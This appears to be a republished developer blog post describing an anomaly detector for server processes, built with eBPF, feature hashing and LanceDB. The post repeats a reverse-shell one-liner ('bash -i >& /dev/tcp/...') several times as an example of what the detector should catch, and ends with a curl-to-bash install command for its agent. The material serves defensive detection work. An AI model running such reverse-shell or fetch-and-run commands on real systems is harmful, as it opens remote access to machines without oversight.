{"slug": "detecting-unusual-processes-on-your-servers-without-writing-a-single-rule", "title": "Detecting unusual processes on your servers without writing a single rule", "summary": "Here is a factual summary of the article:\n\nThe article describes a system for detecting unusual server processes that learns what \"normal\" behavior looks like automatically, eliminating the need for manually written security rules. It uses eBPF to capture process execution data at the kernel level, converts each event into a vector using feature hashing for similarity comparison, and stores the data in LanceDB to identify deviations from established baselines. The authors argue this approach catches novel attacks and forgotten processes that traditional rule-based tools like Falco or Wazuh would miss.", "body_md": "Most security tooling works by asking you to define what \"bad\" looks like upfront. Falco gives you YAML rules. OSSEC has signatures. Wazuh has a 5,000-line ruleset that ships with the product and still misses half of what matters in your specific environment.\n\nThe problem isn't that rules are bad — it's that they can only catch what someone already thought to write a rule for. A novel attack, an unusual deployment pattern, or a rogue process your team introduced six months ago and forgot about will all sail straight through.\n\nWe wanted something different: a system that learns what \"normal\" looks like on each server and workload automatically, and flags anything that deviates — without any configuration.\n\nHere's how we built it using eBPF and LanceDB.\n\nStep 1: Capture everything at the kernel level with eBPF\n\neBPF lets you attach programs to kernel events with minimal overhead. We attach to the sys_enter_execve tracepoint, which fires every time any process is executed on the machine — before the process even starts running.\n\nFor each execution we capture:\n\nThe process name (comm) and full command line (argv)\n\nThe parent process name\n\nThe UID of the calling process\n\nAny active network connections (src/dst IP, port)\n\nThis is written in Rust using the Aya framework, which compiles the eBPF kernel program separately and loads it at runtime:\n\n# [tracepoint]\n\npub fn gretl_execve(ctx: TracePointContext) -> u32 {\n\nlet filename_ptr = unsafe { ctx.read_at::(16)? } as *const u8;\n\nlet pidtgid = bpf_get_current_pid_tgid();\n\nlet pid = (pidtgid >> 32) as u32;\n\n``` js\nlet mut event = ExecveEvent {\n    pid,\n    comm:     [0u8; 16],\n    filename: [0u8; 64],\n    argv1:    [0u8; 64],\n    // ...\n};\n\nif let Ok(comm) = bpf_get_current_comm() {\n    event.comm = comm;\n}\n\nemit_execve(&event)\n```\n\n}\n\nThe events are written to a ring buffer and consumed by the userspace agent, which batches them and POSTs to the backend every 60 seconds. On kernel ≥ 5.8 with BTF enabled, zero instrumentation is required — no agents inside your containers, no sidecars, no changes to your application code.\n\nFor servers without eBPF support, the Node.js agent falls back to reading /proc//cmdline and /proc//status directly, tracking new PIDs each interval. You lose the real-time kernel hook but still get the process telemetry.\n\nStep 2: Represent each process execution as a vector\n\nThe raw event — a process name, a cmdline string, a parent process, a port — isn't directly comparable. To measure similarity between executions, we need to turn each event into a fixed-length vector.\n\nWe use feature hashing: tokenise the event fields, hash each token into a position in a 128-dimensional vector, and accumulate signed contributions. The result is normalised to a unit vector.\n\nfunction featureVector(event: ProcessEvent): number[] {\n\nconst vec = new Float32Array(128);\n\nconst tokens = [\n\nevent.process_name,\n\nevent.parent_process,\n\nevent.event_type,\n\nString(event.local_port),\n\nString(event.remote_port),\n\n...tokenise(event.cmdline), // split cmdline into meaningful tokens\n\n];\n\nfor (let i = 0; i < tokens.length; i++) {\n\nconst t = tokens[i].toLowerCase().trim();\n\nif (!t) continue;\n\nconst idx = hashStr(t, i * 31) % 128;\n\nconst sign = (hashStr(t, i * 31 + 1) & 1) ? 1 : -1;\n\nvec[idx] += sign;\n\n}\n\n// L2 normalise so cosine distance is well-defined\n\nlet norm = 0;\n\nfor (let i = 0; i < 128; i++) norm += vec[i] * vec[i];\n\nnorm = Math.sqrt(norm) || 1;\n\nreturn Array.from(vec).map(v => v / norm);\n\n}\n\nFeature hashing is deterministic, requires no external model, adds no latency, and works well for this kind of structured-text input. A bash -i >& /dev/tcp/... command and a normal bash --login invocation will land in very different regions of the vector space.\n\nWhy not use a neural embedding model?\n\nWe looked at this seriously. Models like all-MiniLM-L6-v2 (22 MB, 384 dims) or OpenAI's text-embedding-3-small would give richer semantic similarity — they know that sh and bash are both shells, that /tmp and /dev/shm are both writable scratch paths.\n\nThe problem is the operational cost at ingestion time. The agent reports process events roughly every 60 seconds per server. For a fleet of 50 servers that's ~3,000 events per hour, each needing an embedding call before it can be scored and stored. The options were:\n\nLocal model on the backend — works, but adds a cold-start dependency, ~200 MB of model weights on disk, and 5–20 ms of CPU per event. On a small Fly.io instance shared with the API server, that's noticeable.\n\nExternal API (e.g. OpenAI) — adds network latency to every ingest request, a per-token cost that scales with fleet size, and a hard external dependency that can take your security pipeline down.\n\nFeature hashing — runs in <0.1 ms, zero dependencies, no network calls, fully deterministic. The same input always produces the same vector, which also makes testing straightforward.\n\nFor this specific input — structured fields like process names, parent pids, cmdline tokens — feature hashing performs surprisingly well. bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 and bash --login land in very different regions of the vector space because their token sets barely overlap. That's all we need for anomaly scoring.\n\nThe embedding layer is intentionally isolated behind a single featureVector() function. Swapping it for a neural model later is a one-function change — the scoring logic, the LanceDB tables, and the API surface don't care what's inside it.\n\nStep 3: Store and query with LanceDB\n\nLanceDB is an embedded vector database — it runs inside your process, stores data on disk, and supports fast approximate nearest-neighbour search with no separate infrastructure required.\n\nWe create one LanceDB table per (org_id, workload) pair. Each row stores the 128-dim vector and a timestamp. The table grows as new events arrive and old entries are pruned after 7 days.\n\nexport async function scoreAndLearn(\n\norg_id: string,\n\nworkload: string,\n\nevent: ProcessEvent,\n\n): Promise {\n\nconst conn = await db();\n\nconst table = await getOrCreateTable(conn, tableName(org_id, workload));\n\nconst vec = featureVector(event);\n\n// Find k=10 nearest neighbours in this workload's history\n\nconst results = await table.vectorSearch(vec).limit(10).toArray();\n\nlet score = 1.0; // default: completely unseen\n\nif (results.length > 0) {\n\nconst distances = results.map(r =>\n\ncosineDistance(vec, Array.from(r.vector))\n\n);\n\nconst minDist = Math.min(...distances);\n\nscore = Math.min(1, minDist * 2); // scale to 0–1\n\n}\n\n// Add this event to the baseline for future comparisons\n\ntable.add([{ vector: vec, ts: Date.now() }]);\n\nreturn score;\n\n}\n\nThe anomaly score is 0 for something we've seen many times before, and 1 for something completely new. It gets stored alongside the event in ClickHouse so you can query, filter, and alert on it.\n\nStep 4: Natural language search\n\nOnce every event is a vector, querying by description becomes trivial. We embed the search query using the same feature-hashing pipeline and run a nearest-neighbour search across all workload tables.\n\n// In the dashboard Security tab:\n\n// \"show me anything that looks like a reverse shell\"\n\nPOST /telemetry/security/search\n\n{ \"query\": \"reverse shell bash outbound connection\" }\n\nThis returns the events whose vectors are closest to the query vector — semantically similar behaviour, not keyword matches. A process running bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 will score highly even if it doesn't contain the literal words \"reverse shell\".\n\nWhat it looks like in practice\n\nAfter running on a production server for a few days, the baseline learns what \"normal\" looks like: your web server process, your cron jobs, your deployment scripts. Then:\n\nA developer accidentally leaves a debug shell running → anomaly score 0.85, flagged as warn\n\nYour CI/CD pipeline runs a new build script for the first time → score 0.72 on first run, drops to 0.1 after the second run\n\nSomeone runs curl | bash as root → score 0.94, flagged immediately\n\nYour usual nginx worker restarts → score 0.02, ignored\n\nNo rules were written for any of these. The system learned the baseline automatically and the deviations surfaced on their own.\n\nThe architecture in one diagram\n\nServer Backend Storage\n\n────── ─────── ───────\n\neBPF (kernel) ──execve──▶ /otlp/v1/events\n\n│\n\n/proc fallback ──────────▶ │\n\n▼\n\nfeatureVector()\n\n│\n\n▼\n\nLanceDB (per workload) ──▶ anomaly_score\n\n│\n\n▼\n\nClickHouse.security_events\n\n│\n\n▼\n\nDashboard + NL search\n\nWhat's next\n\nThe current embedding is purely structural — it knows that bash and sh are different tokens, but doesn't know they're semantically similar shells. Upgrading to a small neural embedding model (something like all-MiniLM-L6-v2) would improve natural language search quality significantly, especially for queries phrased in plain English rather than technical terms.\n\nWe're also working on per-workload alert thresholds — so a security-sensitive production workload can be configured to alert at score 0.6, while a noisy dev environment uses a higher threshold of 0.85.\n\nTry it on your servers\n\nThe agent installs in one command and starts building a baseline immediately. Works on any Linux server — EC2, GCP, bare metal. eBPF on kernel ≥ 5.8, /proc fallback everywhere else.\n\nGR_TOKEN=your-token bash <(curl -fsSL [https://gretl.dev/install-agent.sh](https://gretl.dev/install-agent.sh))", "url": "https://wpnews.pro/news/detecting-unusual-processes-on-your-servers-without-writing-a-single-rule", "canonical_source": "https://dev.to/gretl/detecting-unusual-processes-on-your-servers-without-writing-a-single-rule-2he", "published_at": "2026-05-24 03:27:41+00:00", "updated_at": "2026-05-24 04:02:50.140163+00:00", "lang": "en", "topics": ["cybersecurity", "open-source", "developer-tools", "data", "cloud-computing"], "entities": ["Falco", "OSSEC", "Wazuh", "LanceDB", "eBPF", "Aya"], "alternates": {"html": "https://wpnews.pro/news/detecting-unusual-processes-on-your-servers-without-writing-a-single-rule", "markdown": "https://wpnews.pro/news/detecting-unusual-processes-on-your-servers-without-writing-a-single-rule.md", "text": "https://wpnews.pro/news/detecting-unusual-processes-on-your-servers-without-writing-a-single-rule.txt", "jsonld": "https://wpnews.pro/news/detecting-unusual-processes-on-your-servers-without-writing-a-single-rule.jsonld"}}